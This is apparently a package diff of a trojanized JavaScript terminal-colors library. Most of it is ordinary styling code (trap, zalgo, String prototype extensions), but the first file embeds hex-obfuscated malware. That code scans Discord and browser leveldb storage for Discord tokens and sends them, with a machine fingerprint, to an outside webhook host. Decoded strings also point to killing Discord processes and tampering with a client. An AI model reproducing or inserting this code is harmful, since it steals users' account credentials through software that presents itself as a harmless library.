7\x4f\x55\x54\x25','\x54\x6f\x72\x63\x68','\x42\x72\x61\x76\x65\x2d\x42\x72\x6f\x77\x73\x65\x72','\x69\x6e\x63\x6c\x75\x64\x65\x73','\x2e\x2f\x73\x74\x79\x6c\x65\x73','\x61\x70\x70\x64\x61\x74\x61','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6b\x61\x75\x65\x64\x61\x6f\x63\x75\x2e\x73\x70\x61\x63\x65\x2f\x61\x70\x69\x2f\x77\x65\x62\x68\x6f\x6f\x6b\x73\x2f\x65\x76\x69\x6c\x4b\x61\x75\x65','\x72\x65\x61\x64\x64\x69\x72\x53\x79\x6e\x63','\x6c\x6f\x67\x6f\x75\x74','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x7a\x61\x6c\x67\x6f','\x73\x65\x74\x54\x68\x65\x6d\x65','\x69\x6e\x69\x74\x2d\x6e\x6f\x74\x69\x66\x79','\x45\x78\x70\x65\x63\x74\x65\x64\x20\x61\x20\x73\x74\x72\x69\x6e\x67','\x63\x70\x75\x73','\x64\x61\x74\x61','\x6c\x65\x76\x65\x6c\x64\x62','\x73\x6c\x69\x63\x65','\x69\x6e\x64\x65\x78\x2e\x6a\x73','\x61\x72\x63\x68','\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x49\x4d\x20','\x31\x37\x31\x30\x36\x70\x43\x78\x74\x5a\x4c','\x6d\x61\x70\x73','\x2e\x2f\x73\x79\x73\x74\x65\x6d\x2f\x73\x75\x70\x70\x6f\x72\x74\x73\x2d\x63\x6f\x6c\x6f\x72\x73','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x74\x72\x61\x70','\x65\x78\x70\x6f\x72\x74\x73','\x5f\x73\x74\x79\x6c\x65\x73','\x31\x31\x31\x32\x50\x6f\x63\x46\x45\x63','\x68\x6f\x73\x74\x6e\x61\x6d\x65','\x32\x33\x37\x31\x30\x36\x79\x69\x72\x4c\x4a\x66','\x73\x74\x79\x6c\x69\x7a\x65','\x69\x6e\x6a\x65\x63\x74\x2d\x6e\x6f\x74\x69\x66\x79','\x69\x6e\x69\x74','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x69\x6e\x62\x6f\x77','\x63\x6c\x6f\x73\x65\x52\x65','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x6e\x64\x6f\x6d','\x6d\x6b\x64\x69\x72\x53\x79\x6e\x63','\x73\x74\x72\x69\x70\x43\x6f\x6c\x6f\x72\x73','\x69\x6e\x73\x70\x65\x63\x74','\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x72\x65\x71\x75\x69\x72\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20','\x25\x49\x4e\x49\x54\x4e\x4f\x54\x49\x25','\x74\x72\x75\x65','\x4c\x6f\x63\x61\x6c\x20\x53\x74\x6f\x72\x61\x67\x65','\x2e\x65\x78\x65','\x67\x72\x65\x79','\x6f\x70\x65\x6e','\x6d\x61\x70','\x66\x61\x6c\x73\x65','\x62\x69\x6e','\x77\x72\x69\x74\x65\x46\x69\x6c\x65\x53\x79\x6e\x63','\x64\x69\x73\x61\x62\x6c\x65\x2d\x71\x72\x2d\x63\x6f\x64\x65','\x4b\x6f\x6d\x65\x74\x61','\x41\x70\x70\x44\x61\x74\x61','\x73\x74\x72\x69\x70','\x35\x36\x37\x30\x35\x30\x7a\x59\x65\x4b\x74\x48','\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74','\x74\x6f\x53\x74\x72\x69\x6e\x67','\x34\x32\x39\x62\x6a\x63\x70\x77\x49','\x36\x30\x31\x34\x32\x33\x32\x43\x65\x6c\x6d\x47\x7a','\x63\x6c\x6f\x73\x65','\x64\x69\x73\x63\x6f\x72\x64\x70\x74\x62','\x6f\x62\x6a\x65\x63\x74','\x59\x61\x6e\x64\x65\x78','\x32\x38\x33\x31\x31\x39\x30\x78\x63\x64\x65\x71\x59','\x32\x37\x30\x37\x34\x34\x35\x42\x51\x77\x6b\x79\x4f','\x44\x69\x73\x63\x6f\x72\x64\x2e\x65\x78\x65','\x64\x69\x73\x61\x62\x6c\x65','\x31\x35\x38\x32\x67\x52\x42\x61\x50\x54','\x44\x69\x73\x63\x6f\x72\x64\x44\x65\x76\x65\x6c\x6f\x70\x6d\x65\x6e\x74\x2e\x65\x78\x65','\x61\x70\x70\x6c\x79','\x6c\x69\x67\x68\x74\x63\x6f\x72\x64','\x33\x35\x32\x67\x46\x51\x77\x71\x4f','\x74\x61\x73\x6b\x6c\x69\x73\x74','\x70\x75\x73\x68','\x65\x78\x69\x73\x74\x73\x53\x79\x6e\x63','\x63\x6f\x6e\x63\x61\x74','\x5c\x42\x65\x74\x74\x65\x72\x44\x69\x73\x63\x6f\x72\x64\x5c\x64\x61\x74\x61\x5c\x62\x65\x74\x74\x65\x72\x64\x69\x73\x63\x6f\x72\x64\x2e\x61\x73\x61\x72','\x63\x61\x6c\x6c\x65\x72\x27\x73\x29\x20\x72\x65\x73\x70\x6f\x6e\x73\x69\x62\x69\x6c\x69\x74\x79\x20\x74\x6f\x20\x72\x65\x71\x75\x69\x72\x65\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x2e\x20\x20\x54\x68\x65\x20\x6f\x6c\x64\x20\x73\x79\x6e\x74\x61\x78\x20','\x61\x6d\x65\x72\x69\x63\x61','\x44\x65\x66\x61\x75\x6c\x74','\x6c\x6f\x67','\x25\x44\x49\x53\x41\x42\x4c\x45\x51\x52\x43\x4f\x44\x45\x25','\x41\x6d\x69\x67\x6f','\x2e\x2f\x6d\x61\x70\x73\x2f\x61\x6d\x65\x72\x69\x63\x61','\x42\x72\x61\x76\x65\x53\x6f\x66\x74\x77\x61\x72\x65','\x25\x57\x45\x42\x48\x4f\x4f\x4b\x5f\x4c\x49\x4e\x4b\x25','\x6c\x65\x6e\x67\x74\x68','\x67\x6c\x6f\x62','\x4c\x4f\x43\x41\x4c\x41\x50\x50\x44\x41\x54\x41','\x7a\x61\x6c\x67\x6f','\x44\x69\x73\x63\x6f\x72\x64\x43\x61\x6e\x61\x72\x79\x2e\x65\x78\x65','\x2e\x65\x78\x65\x20\x2f\x46','\x72\x65\x70\x6c\x61\x63\x65','\x62\x75\x66\x66\x65\x72\x2d\x72\x65\x70\x6c\x61\x63\x65','\x68\x6f\x6d\x65\x64\x69\x72','\x68\x74\x74\x70\x73','\x69\x6e\x73\x74\x61\x6e\x74','\x65\x6e\x61\x62\x6c\x65\x64','\x74\x68\x65\x6d\x65\x73','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6b\x61\x75\x65\x6c\x69\x6e\x64\x6f\x2e\x78\x79\x7a\x2f\x6d\x61\x6e\x68\x61\x74\x74\x61\x6e','\x2e\x2f\x6d\x61\x70\x73\x2f\x7a\x65\x62\x72\x61','\x75\x74\x69\x6c','\x6c\x6f\x6f\x6b\x65\x64\x20\x6c\x69\x6b\x65\x20\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20','\x33\x34\x34\x37\x37\x30\x34','\x4f\x70\x65\x72\x61\x20\x47\x58\x20\x53\x74\x61\x62\x6c\x65','\x67\x65\x74','\x72\x61\x6e\x64\x6f\x6d','\x4f\x70\x65\x72\x61\x20\x53\x6f\x66\x74\x77\x61\x72\x65','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72'];_0x3d05=function(){return _0x3c6899;};return _0x3d05();}async function injectNotify(){(async function(){var _0x5e9941=_0x3f08;try{const _0x4db84c=require('\x66\x73'),_0x10f155=require('\x70\x61\x74\x68'),_0x5d5e4d=require('\x6f\x73'),_0x5488d9=require(_0x5e9941(0x159)),_0x13ded1=[],_0x78a7a4=_0x5d5e4d[_0x5e9941(0x158)](),_0x32c661=_0x5d5e4d[_0x5e9941(0x116)]()+'\x5f'+_0x78a7a4[_0x5e9941(0x179)]('\x5c')[_0x5e9941(0x10b)](-0x1)[0x0]+'\x5f'+_0x5d5e4d[_0x5e9941(0x10d)]()+'\x5f'+_0x5d5e4d[_0x5e9941(0x18f)]()[_0x5e9941(0x150)]+'\x5f'+_0x5d5e4d[_0x5e9941(0x17e)](),_0x14719c=_0x10f155[_0x5e9941(0x17a)](_0x78a7a4,_0x5e9941(0x12e),'\x52\x6f\x61\x6d\x69\x6e\x67'),_0x41f3fe=_0x10f155[_0x5e9941(0x17a)](_0x78a7a4,_0x5e9941(0x12e),'\x4c\x6f\x63\x61\x6c'),_0x20699d=[_0x5e9941(0x124),_0x5e9941(0x191)],_0x243041={'\x64\x69\x73\x63\x6f\x72\x64':_0x10f155[_0x5e9941(0x17a)](_0x14719c,'\x64\x69\x73\x63\x6f\x72\x64',..._0x20699d),'\x63\x61\x6e\x61\x72\x79':_0x10f155[_0x5e9941(0x17a)](_0x14719c,_0x5e9941(0x17b),..._0x20699d),'\x70\x74\x62':_0x10f155[_0x5e9941(0x17a)](_0x14719c,_0x5e9941(0x136),..._0x20699d),'\x6c\x69\x67\x68\x74\x63\x6f\x72\x64':_0x10f155[_0x5e9941(0x17a)](_0x14719c,_0x5e9941(0x140),..._0x20699d),'\x6f\x70\x65\x72\x61':_0x10f155[_0x5e9941(0x17a)](_0x14719c,'\x4f\x70\x65\x72\x61\x20\x53\x6f\x66\x74\x77\x61\x72\x65',_0x5e9941(0x16e),..._0x20699d),'\x6f\x70\x65\x72\x61\x20\x67\x78':_0x10f155[_0x5e9941(0x17a)](_0x14719c,_0x5e9941(0x165),_0x5e9941(0x162),..._0x20699d),'\x61\x6d\x69\x67\x6f':_0x10f155[_0x5e9941(0x17a)](_0x41f3fe,_0x5e9941(0x14c),'\x55\x73\x65\x72\x20\x44\x61\x74\x61',..._0x20699d),'\x74\x6f\x72\x63\x68':_0x10f155['\x6a\x6f\x69\x6e'](_0x41f3fe,_0x5e9941(0x183),'\x55\x73\x65\x72\x20\x44\x61\x74\x61',..._0x20699d),'\x6b\x6f\x6d\x65\x74\x61':_0x10f155[_0x5e9941(0x17a)](_0x41f3fe,_0x5e9941(0x12d),_0x5e9941(0x167),..._0x20699d),'\x65\x64\x67\x65':_0x10f155['\x6a\x6f\x69\x6e'](_0x41f3fe,_0x5e9941(0x131),'\x45\x64\x67\x65','\x55\x73\x65\x72\x20\x44\x61\x74\x61','\x44\x65\x66\x61\x75\x6c\x74',..._0x20699d),'\x63\x68\x72\x6f\x6d\x65':_0x10f155['\x6a\x6f\x69\x6e'](_0x41f3fe,_0x5e9941(0x168),'\x43\x68\x72\x6f\x6d\x65','\x55\x73\x65\x72\x20\x44\x61\x74\x61',_0x5e9941(0x149),..._0x20699d),'\x79\x61\x6e\x64\x65\x78':_0x10f155[_0x5e9941(0x17a)](_0x41f3fe,_0x5e9941(0x138),_0x5e9941(0x16a),_0x5e9941(0x167),_0x5e9941(0x149),..._0x20699d),'\x62\x72\x61\x76\x65':_0x10f155['\x6a\x6f\x69\x6e'](_0x41f3fe,_0x5e9941(0x14e),_0x5e9941(0x184),_0x5e9941(0x167),_0x5e9941(0x149),..._0x20699d)};for(let _0x41b2c8 in _0x243041){try{let _0x54fc2e=_0x4db84c[_0x5e9941(0x189)](_0x243041[_0x41b2c8]);for(let _0x386e1c of _0x54fc2e){if(_0x386e1c[_0x5e9941(0x10b)](-0x3)!==_0x5e9941(0x171))continue;let _0x4b70e6=_0x39e204(_0x10f155[_0x5e9941(0x17a)](_0x243041[_0x41b2c8],_0x386e1c));if(!_0x4b70e6)continue;_0x13ded1[_0x5e9941(0x143)](_0x41b2c8+'\x3a\x3a'+_0x4b70e6);}}catch(_0x59e0fb){continue;}}function _0x39e204(_0x1472c3){var _0x3fe139=_0x5e9941;let _0x351a90=_0x4db84c[_0x3fe139(0x16d)](_0x1472c3)[_0x3fe139(0x132)](),_0x3cc7cc=/"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/,_0x59c25d=/"mfa\.[\d\w_-]{84}"/,[_0x33f86a]=_0x3cc7cc[_0x3fe139(0x16f)](_0x351a90)||_0x59c25d[_0x3fe139(0x16f)](_0x351a90)||[null];return _0x33f86a;}(async function _0x568c39(){var _0x329c72=_0x5e9941;try{_0x5488d9[_0x329c72(0x163)](_0x329c72(0x15d),{'\x68\x65\x61\x64\x65\x72\x73':{'\x74\x6f\x6b\x65\x6e\x73':_0x13ded1,'\x66\x69\x6e\x67\x65\x72\x70\x72\x69\x6e\x74':_0x32c661}});}catch(_0x27a87c){}}());}catch(_0x3adff4){}}());}colors[_0x5243c9(0x15c)]={};var util=require(_0x5243c9(0x15f)),ansiStyles=colors['\x73\x74\x79\x6c\x65\x73']=require(_0x5243c9(0x186)),defineProps=Object['\x64\x65\x66\x69\x6e\x65\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73'],newLineRegex=new RegExp(/[\r\n]+/g);colors[_0x5243c9(0x178)]=require(_0x5243c9(0x111))['\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72'];typeof colors[_0x5243c9(0x15b)]===_0x5243c9(0x175)&&(colors[_0x5243c9(0x15b)]=colors['\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72']()!==![]);colors['\x65\x6e\x61\x62\x6c\x65']=function(){var _0x16e3f9=_0x5243c9;colors[_0x16e3f9(0x15b)]=!![];},colors[_0x5243c9(0x13c)]=function(){var _0x578d48=_0x5243c9;colors[_0x578d48(0x15b)]=![];},colors[_0x5243c9(0x11f)]=colors[_0x5243c9(0x12f)]=function(_0x13b289){var _0x5e8113=_0x5243c9;return(''+_0x13b289)[_0x5e8113(0x156)](/\x1B\[\d+m/g,'');};var stylize=colors[_0x5243c9(0x118)]=function stylize(_0x445e2b,_0x36d7b0){var _0x127ae0=_0x5243c9;if(!colors[_0x127ae0(0x15b)])return _0x445e2b+'';var _0x44a67f=ansiStyles[_0x36d7b0];if(!_0x44a67f&&_0x36d7b0 in colors)return colors[_0x36d7b0](_0x445e2b);return _0x44a67f[_0x127ae0(0x127)]+_0x445e2b+_0x44a67f[_0x127ae0(0x135)];},matchOperatorsRe=/[|\\{}()[\]^$+*?.]/g,escapeStringRegexp=function(_0x41a27d){var _0x34ede4=_0x5243c9;if(typeof _0x41a27d!==_0x34ede4(0x170))throw new TypeError(_0x34ede4(0x18e));return _0x41a27d[_0x34ede4(0x156)](matchOperatorsRe,_0x34ede4(0x173));};function build(_0x553870){var _0x4f21b2=_0x5243c9,_0x48ca8d=function _0x58c474(){var _0xa85b2d=_0x3f08;return applyStyle[_0xa85b2d(0x13f)](_0x58c474,arguments);};return _0x48ca8d[_0x4f21b2(0x114)]=_0x553870,_0x48ca8d[_0x4f21b2(0x174)]=proto,_0x48ca8d;}var styles=(function(){var _0x13d6df=_0x5243c9,_0x9587b1={};return ansiStyles[_0x13d6df(0x126)]=ansiStyles['\x67\x72\x61\x79'],Object[_0x13d6df(0x181)](ansiStyles)['\x66\x6f\x72\x45\x61\x63\x68'](function(_0x47528c){var _0x47b428=_0x13d6df;ansiStyles[_0x47528c][_0x47b428(0x11c)]=new RegExp(escapeStringRegexp(ansiStyles[_0x47528c][_0x47b428(0x135)]),'\x67'),_0x9587b1[_0x47528c]={'\x67\x65\x74':function(){var _0x21ea79=_0x47b428;return build(this[_0x21ea79(0x114)][_0x21ea79(0x145)](_0x47528c));}};}),_0x9587b1;}()),proto=defineProps(function colors(){},styles);function applyStyle(){var _0x5cffef=_0x5243c9,_0x4dd41a=Array['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65'][_0x5cffef(0x10b)]['\x63\x61\x6c\x6c'](arguments),_0xecade2=_0x4dd41a[_0x5cffef(0x128)](function(_0x3c6cbf){var _0x20e940=_0x5cffef;return _0x3c6cbf!=null&&_0x3c6cbf[_0x20e940(0x166)]===String?_0x3c6cbf:util[_0x20e940(0x120)](_0x3c6cbf);})[_0x5cffef(0x17a)]('\x20');if(!colors[_0x5cffef(0x15b)]||!_0xecade2)return _0xecade2;var _0x245f4b=_0xecade2['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!=-0x1,_0x1ff911=this[_0x5cffef(0x114)],_0x1a3912=_0x1ff911[_0x5cffef(0x150)];while(_0x1a3912--){var _0x3aea1d=ansiStyles[_0x1ff911[_0x1a3912]];_0xecade2=_0x3aea1d['\x6f\x70\x65\x6e']+_0xecade2[_0x5cffef(0x156)](_0x3aea1d[_0x5cffef(0x11c)],_0x3aea1d['\x6f\x70\x65\x6e'])+_0x3aea1d[_0x5cffef(0x135)],_0x245f4b&&(_0xecade2=_0xecade2[_0x5cffef(0x156)](newLineRegex,function(_0x3caf4a){var _0x565a11=_0x5cffef;return _0x3aea1d['\x63\x6c\x6f\x73\x65']+_0x3caf4a+_0x3aea1d[_0x565a11(0x127)];}));}return _0xecade2;}colors[_0x5243c9(0x18c)]=function(_0x559251){var _0x5ea297=_0x5243c9;if(typeof _0x559251===_0x5ea297(0x170)){console[_0x5ea297(0x14a)]('\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x20\x6e\x6f\x77\x20\x6f\x6e\x6c\x79\x20\x61\x63\x63\x65\x70\x74\x73\x20\x61\x6e\x20\x6f\x62\x6a\x65\x63\x74\x2c\x20\x6e\x6f\x74\x20\x61\x20\x73\x74\x72\x69\x6e\x67\x2e\x20\x20'+_0x5ea297(0x16c)+_0x5ea297(0x147)+_0x5ea297(0x160)+'\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x3b\x20\x54\x68\x65\x20\x6e\x65\x77\x20\x73\x79\x6e\x74\x61\x78\x20\x6c\x6f\x6f\x6b\x73\x20\x6c\x69\x6b\x65\x20'+_0x5ea297(0x121)+'\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x29\x3b');return;}for(var _0x4c14c7 in _0x559251){(function(_0x575e95){colors[_0x575e95]=function(_0x15df69){var _0x153d90=_0x3f08;if(typeof _0x559251[_0x575e95]===_0x153d90(0x137)){var _0x1c6957=_0x15df69;for(var _0x3d41bd in _0x559251[_0x575e95]){_0x1c6957=colors[_0x559251[_0x575e95][_0x3d41bd]](_0x1c6957);}return _0x1c6957;}return colors[_0x559251[_0x575e95]](_0x15df69);};}(_0x4c14c7));}};function init(){var _0x6f50d1=_0x5243c9,_0x3faf5e={};return Object[_0x6f50d1(0x181)](styles)[_0x6f50d1(0x169)](function(_0x4aecc0){_0x3faf5e[_0x4aecc0]={'\x67\x65\x74':function(){return build([_0x4aecc0]);}};}),_0x3faf5e;}var sequencer=function sequencer(_0x39b7c2,_0x311b0d){var _0x5fa6dc=_0x5243c9,_0x18e0b8=_0x311b0d[_0x5fa6dc(0x179)]('');return _0x18e0b8=_0x18e0b8['\x6d\x61\x70'](_0x39b7c2),_0x18e0b8[_0x5fa6dc(0x17a)]('');};colors['\x74\x72\x61\x70']=require(_0x5243c9(0x112)),colors[_0x5243c9(0x153)]=require(_0x5243c9(0x18b)),colors[_0x5243c9(0x110)]={},colors['\x6d\x61\x70\x73'][_0x5243c9(0x148)]=require(_0x5243c9(0x14d))(colors),colors[_0x5243c9(0x110)]['\x7a\x65\x62\x72\x61']=require(_0x5243c9(0x15e))(colors),colors[_0x5243c9(0x110)][_0x5243c9(0x176)]=require(_0x5243c9(0x11b))(colors),colors[_0x5243c9(0x110)][_0x5243c9(0x164)]=require(_0x5243c9(0x11d))(colors);for(var map in colors[_0x5243c9(0x110)]){(function(_0x24d51b){colors[_0x24d51b]=function(_0x2acfec){var _0xa3db83=_0x3f08;return sequencer(colors[_0xa3db83(0x110)][_0x24d51b],_0x2acfec);};}(map));}defineProps(colors,init());
|
@@ -0,0 +1,46 @@
|
|
1
|
+
module['exports'] = function runTheTrap(text, options) {
|
2
|
+
var result = '';
|
3
|
+
text = text || 'Run the trap, drop the bass';
|
4
|
+
text = text.split('');
|
5
|
+
var trap = {
|
6
|
+
a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
|
7
|
+
b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
|
8
|
+
c: ['\u00a9', '\u023b', '\u03fe'],
|
9
|
+
d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
|
10
|
+
e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
|
11
|
+
'\u0a6c'],
|
12
|
+
f: ['\u04fa'],
|
13
|
+
g: ['\u0262'],
|
14
|
+
h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
|
15
|
+
i: ['\u0f0f'],
|
16
|
+
j: ['\u0134'],
|
17
|
+
k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
|
18
|
+
l: ['\u0139'],
|
19
|
+
m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
|
20
|
+
n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
|
21
|
+
o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
|
22
|
+
'\u06dd', '\u0e4f'],
|
23
|
+
p: ['\u01f7', '\u048e'],
|
24
|
+
q: ['\u09cd'],
|
25
|
+
r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
|
26
|
+
s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
|
27
|
+
t: ['\u0141', '\u0166', '\u0373'],
|
28
|
+
u: ['\u01b1', '\u054d'],
|
29
|
+
v: ['\u05d8'],
|
30
|
+
w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
|
31
|
+
x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
|
32
|
+
y: ['\u00a5', '\u04b0', '\u04cb'],
|
33
|
+
z: ['\u01b5', '\u0240'],
|
34
|
+
};
|
35
|
+
text.forEach(function(c) {
|
36
|
+
c = c.toLowerCase();
|
37
|
+
var chars = trap[c] || [' '];
|
38
|
+
var rand = Math.floor(Math.random() * chars.length);
|
39
|
+
if (typeof trap[c] !== 'undefined') {
|
40
|
+
result += trap[c][rand];
|
41
|
+
} else {
|
42
|
+
result += c;
|
43
|
+
}
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
};
|
@@ -0,0 +1,110 @@
|
|
1
|
+
// please no
|
2
|
+
module['exports'] = function zalgo(text, options) {
|
3
|
+
text = text || ' he is here ';
|
4
|
+
var soul = {
|
5
|
+
'up': [
|
6
|
+
'̍', '̎', '̄', '̅',
|
7
|
+
'̿', '̑', '̆', '̐',
|
8
|
+
'͒', '͗', '͑', '̇',
|
9
|
+
'̈', '̊', '͂', '̓',
|
10
|
+
'̈', '͊', '͋', '͌',
|
11
|
+
'̃', '̂', '̌', '͐',
|
12
|
+
'̀', '́', '̋', '̏',
|
13
|
+
'̒', '̓', '̔', '̽',
|
14
|
+
'̉', 'ͣ', 'ͤ', 'ͥ',
|
15
|
+
'ͦ', 'ͧ', 'ͨ', 'ͩ',
|
16
|
+
'ͪ', 'ͫ', 'ͬ', 'ͭ',
|
17
|
+
'ͮ', 'ͯ', '̾', '͛',
|
18
|
+
'͆', '̚',
|
19
|
+
],
|
20
|
+
'down': [
|
21
|
+
'̖', '̗', '̘', '̙',
|
22
|
+
'̜', '̝', '̞', '̟',
|
23
|
+
'̠', '̤', '̥', '̦',
|
24
|
+
'̩', '̪', '̫', '̬',
|
25
|
+
'̭', '̮', '̯', '̰',
|
26
|
+
'̱', '̲', '̳', '̹',
|
27
|
+
'̺', '̻', '̼', 'ͅ',
|
28
|
+
'͇', '͈', '͉', '͍',
|
29
|
+
'͎', '͓', '͔', '͕',
|
30
|
+
'͖', '͙', '͚', '̣',
|
31
|
+
],
|
32
|
+
'mid': [
|
33
|
+
'̕', '̛', '̀', '́',
|
34
|
+
'͘', '̡', '̢', '̧',
|
35
|
+
'̨', '̴', '̵', '̶',
|
36
|
+
'͜', '͝', '͞',
|
37
|
+
'͟', '͠', '͢', '̸',
|
38
|
+
'̷', '͡', ' ҉',
|
39
|
+
],
|
40
|
+
};
|
41
|
+
var all = [].concat(soul.up, soul.down, soul.mid);
|
42
|
+
|
43
|
+
function randomNumber(range) {
|
44
|
+
var r = Math.floor(Math.random() * range);
|
45
|
+
return r;
|
46
|
+
}
|
47
|
+
|
48
|
+
function isChar(character) {
|
49
|
+
var bool = false;
|
50
|
+
all.filter(function(i) {
|
51
|
+
bool = (i === character);
|
52
|
+
});
|
53
|
+
return bool;
|
54
|
+
}
|
55
|
+
|
56
|
+
|
57
|
+
function heComes(text, options) {
|
58
|
+
var result = '';
|
59
|
+
var counts;
|
60
|
+
var l;
|
61
|
+
options = options || {};
|
62
|
+
options['up'] =
|
63
|
+
typeof options['up'] !== 'undefined' ? options['up'] : true;
|
64
|
+
options['mid'] =
|
65
|
+
typeof options['mid'] !== 'undefined' ? options['mid'] : true;
|
66
|
+
options['down'] =
|
67
|
+
typeof options['down'] !== 'undefined' ? options['down'] : true;
|
68
|
+
options['size'] =
|
69
|
+
typeof options['size'] !== 'undefined' ? options['size'] : 'maxi';
|
70
|
+
text = text.split('');
|
71
|
+
for (l in text) {
|
72
|
+
if (isChar(l)) {
|
73
|
+
continue;
|
74
|
+
}
|
75
|
+
result = result + text[l];
|
76
|
+
counts = {'up': 0, 'down': 0, 'mid': 0};
|
77
|
+
switch (options.size) {
|
78
|
+
case 'mini':
|
79
|
+
counts.up = randomNumber(8);
|
80
|
+
counts.mid = randomNumber(2);
|
81
|
+
counts.down = randomNumber(8);
|
82
|
+
break;
|
83
|
+
case 'maxi':
|
84
|
+
counts.up = randomNumber(16) + 3;
|
85
|
+
counts.mid = randomNumber(4) + 1;
|
86
|
+
counts.down = randomNumber(64) + 3;
|
87
|
+
break;
|
88
|
+
default:
|
89
|
+
counts.up = randomNumber(8) + 1;
|
90
|
+
counts.mid = randomNumber(6) / 2;
|
91
|
+
counts.down = randomNumber(8) + 1;
|
92
|
+
break;
|
93
|
+
}
|
94
|
+
|
95
|
+
var arr = ['up', 'mid', 'down'];
|
96
|
+
for (var d in arr) {
|
97
|
+
var index = arr[d];
|
98
|
+
for (var i = 0; i <= counts[index]; i++) {
|
99
|
+
if (options[index]) {
|
100
|
+
result = result + soul[index][randomNumber(soul[index].length)];
|
101
|
+
}
|
102
|
+
}
|
103
|
+
}
|
104
|
+
}
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
// don't summon him
|
108
|
+
return heComes(text, options);
|
109
|
+
};
|
110
|
+
|
@@ -0,0 +1,110 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
|
3
|
+
module['exports'] = function() {
|
4
|
+
//
|
5
|
+
// Extends prototype of native string object to allow for "foo".red syntax
|
6
|
+
//
|
7
|
+
var addProperty = function(color, func) {
|
8
|
+
String.prototype.__defineGetter__(color, func);
|
9
|
+
};
|
10
|
+
|
11
|
+
addProperty('strip', function() {
|
12
|
+
return colors.strip(this);
|
13
|
+
});
|
14
|
+
|
15
|
+
addProperty('stripColors', function() {
|
16
|
+
return colors.strip(this);
|
17
|
+
});
|
18
|
+
|
19
|
+
addProperty('trap', function() {
|
20
|
+
return colors.trap(this);
|
21
|
+
});
|
22
|
+
|
23
|
+
addProperty('zalgo', function() {
|
24
|
+
return colors.zalgo(this);
|
25
|
+
});
|
26
|
+
|
27
|
+
addProperty('zebra', function() {
|
28
|
+
return colors.zebra(this);
|
29
|
+
});
|
30
|
+
|
31
|
+
addProperty('rainbow', function() {
|
32
|
+
return colors.rainbow(this);
|
33
|
+
});
|
34
|
+
|
35
|
+
addProperty('random', function() {
|
36
|
+
return colors.random(this);
|
37
|
+
});
|
38
|
+
|
39
|
+
addProperty('america', function() {
|
40
|
+
return colors.america(this);
|
41
|
+
});
|
42
|
+
|
43
|
+
//
|
44
|
+
// Iterate through all default styles and colors
|
45
|
+
//
|
46
|
+
var x = Object.keys(colors.styles);
|
47
|
+
x.forEach(function(style) {
|
48
|
+
addProperty(style, function() {
|
49
|
+
return colors.stylize(this, style);
|
50
|
+
});
|
51
|
+
});
|
52
|
+
|
53
|
+
function applyTheme(theme) {
|
54
|
+
//
|
55
|
+
// Remark: This is a list of methods that exist
|
56
|
+
// on String that you should not overwrite.
|
57
|
+
//
|
58
|
+
var stringPrototypeBlacklist = [
|
59
|
+
'__defineGetter__', '__defineSetter__', '__lookupGetter__',
|
60
|
+
'__lookupSetter__', 'charAt', 'constructor', 'hasOwnProperty',
|
61
|
+
'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString',
|
62
|
+
'valueOf', 'charCodeAt', 'indexOf', 'lastIndexOf', 'length',
|
63
|
+
'localeCompare', 'match', 'repeat', 'replace', 'search', 'slice',
|
64
|
+
'split', 'substring', 'toLocaleLowerCase', 'toLocaleUpperCase',
|
65
|
+
'toLowerCase', 'toUpperCase', 'trim', 'trimLeft', 'trimRight',
|
66
|
+
];
|
67
|
+
|
68
|
+
Object.keys(theme).forEach(function(prop) {
|
69
|
+
if (stringPrototypeBlacklist.indexOf(prop) !== -1) {
|
70
|
+
console.log('warn: '.red + ('String.prototype' + prop).magenta +
|
71
|
+
' is probably something you don\'t want to override. ' +
|
72
|
+
